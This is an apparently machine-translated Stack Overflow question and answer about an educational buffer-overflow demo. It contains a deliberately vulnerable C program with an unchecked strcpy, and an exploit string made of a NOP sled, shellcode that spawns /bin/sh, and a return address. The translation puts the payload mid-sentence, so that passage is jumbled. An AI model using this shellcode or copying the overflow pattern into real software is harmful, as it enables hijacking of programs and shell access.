This question was migrated from Super User because it can be answered on Stack Overflow. Migrated去年。Learn more
我试图在输入中添加一些外壳代码,以演示导致控件劫持的缓冲区溢出。
这是节目单;
int foo(char *mainbuff)
{
char foobuff[128];
strcpy(foobuff, mainbuff);
printf("foobuff new value is %s\n", foobuff);
return 0;
}


int main()
{
char mainbuff[256];
printf("Please enter value of mainbuff\n\n");
scanf("%s", mainbuff);
foo(mainbuff);
printf("Program is exitting normally!!\n\n\n");
return 0;
}

根据我的理解,当我把这个输入给我的c程序时,它应该把它作为一个字节存储在内存中。因此,当我将nops与外壳代码连接起来并寻址时,我的输入看起来像
\x90
它应该以单个字节的形式存储在数组中,但是编译器添加了另一个\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x10\xd2\xff\xff来不转义它们,并将它们作为\的十六进制形式存储在堆栈内存中。我存储这个字符串的文件也不完全是我存储的字节大小。我在64位计算机上,但我的程序是使用gcc中的-m32选项编译的。
那这是怎么回事?

最佳答案

我应该把这个输入给我的c程序,它应该把它作为一个字节存储在内存中
似乎您直接输入\x90作为输入。这将导致程序(实际上是stdin)将其视为4个连续字符0x5c, 0x78, 0x39, 0x30,这将使endian进入您提到的0x3039785c
您可以尝试通过escape将外壳代码导入stdin。

09-27 02:20